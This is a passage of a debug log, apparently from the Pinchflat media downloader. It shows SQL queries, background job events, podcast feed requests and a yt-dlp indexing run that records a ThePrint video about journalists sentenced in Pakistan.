m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:31:44.451 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=665.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:31:44.721 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=795.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:31:44.727 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=647.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:31:44.820 [info] Sent 200 in 1985ms 15:31:56.340 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:31:57.900 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.195 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:22.880 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:32:22.880 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:32:22.882 [debug] QUERY OK source="sources" db=1.3ms idle=1097.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:32:22.885 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=1099.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:32:22.887 [debug] QUERY OK source="source_metadata" db=1.1ms idle=1102.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:32:22.888 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=874.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:32:22.889 [info] Sent 200 in 9ms 15:32:27.904 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:50.996 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:32:50.996 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:32:50.998 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1214.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:32:51.000 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1216.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:32:51.001 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1218.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:32:51.002 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.2ms idle=918.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:32:51.003 [info] Sent 200 in 6ms 15:32:57.906 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.197 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:27.909 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:57.912 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.199 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:27.915 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:57.918 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.201 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:27.920 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:57.922 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.203 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:27.925 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:46.712 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:36:46.712 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:36:46.714 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=1914.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:36:46.716 [debug] QUERY OK source="media_items" db=1.0ms queue=0.8ms idle=1915.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:36:46.719 [debug] QUERY OK source="source_metadata" db=1.1ms idle=1919.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:36:46.799 [debug] QUERY OK source="media_metadata" db=79.4ms queue=0.2ms idle=952.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:36:46.800 [info] Sent 200 in 88ms 15:36:57.927 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.206 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:27.929 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:28.096 [info] {"args":{"id":1},"id":85,"meta":{},"system_time":1768059448052931514,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 15:37:28.155 [debug] QUERY OK source="sources" db=1.7ms queue=0.3ms idle=353.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:37:28.157 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=355.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:28.202 [debug] QUERY OK source="media_items" db=44.3ms queue=0.1ms idle=228.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:37:28.203 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=253.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:37:28.204 [debug] QUERY OK source="media_profiles" db=0.3ms idle=152.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:37:28.287 [debug] QUERY OK source="settings" db=0.7ms idle=131.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:28.388 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 15:37:28.388 [debug] Current batch of media processed. Will check again in 1000ms 15:37:28.389 [debug] QUERY OK source="settings" db=0.7ms idle=231.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:28.390 [debug] QUERY OK source="settings" db=1.0ms idle=186.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:28.391 [debug] QUERY OK source="settings" db=0.3ms idle=186.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:28.426 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/77/47/7747a646c42aebd92d343ecb293a04fd92ffcd38c6feb45899e04a12fca6ca39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:37:29.389 [debug] Current batch of media processed. Will check again in 1000ms 15:37:30.390 [debug] Current batch of media processed. Will check again in 1000ms 15:37:31.391 [debug] Current batch of media processed. Will check again in 1000ms 15:37:32.392 [debug] Current batch of media processed. Will check again in 1000ms 15:37:33.393 [debug] Current batch of media processed. Will check again in 1000ms 15:37:34.394 [debug] Current batch of media processed. Will check again in 1000ms 15:37:34.746 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:37:34.746 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:37:34.750 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=946.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:37:34.753 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=950.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:37:34.759 [debug] QUERY OK source="source_metadata" db=3.1ms idle=955.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:37:34.761 [debug] QUERY OK source="media_metadata" db=1.5ms queue=0.1ms idle=958.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:37:34.762 [info] Sent 200 in 16ms 15:37:35.395 [debug] Current batch of media processed. Will check again in 1000ms 15:37:36.397 [debug] Current batch of media processed. Will check again in 1000ms 15:37:37.400 [debug] Current batch of media processed. Will check again in 1000ms 15:37:38.402 [debug] Current batch of media processed. Will check again in 1000ms 15:37:39.407 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 15:37:39.619 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1817.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 15:37:39.891 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=2089.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:37:40.055 [debug] QUERY OK source="media_items" db=60.7ms queue=0.2ms idle=1133.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 15:37:40.332 [debug] QUERY OK source="media_items" db=243.1ms queue=0.2ms idle=467.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "09a1689c-6ae3-41c2-bb75-409ba238c2d4", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 15:37:40Z], ~U[2026-01-10 15:37:40Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, 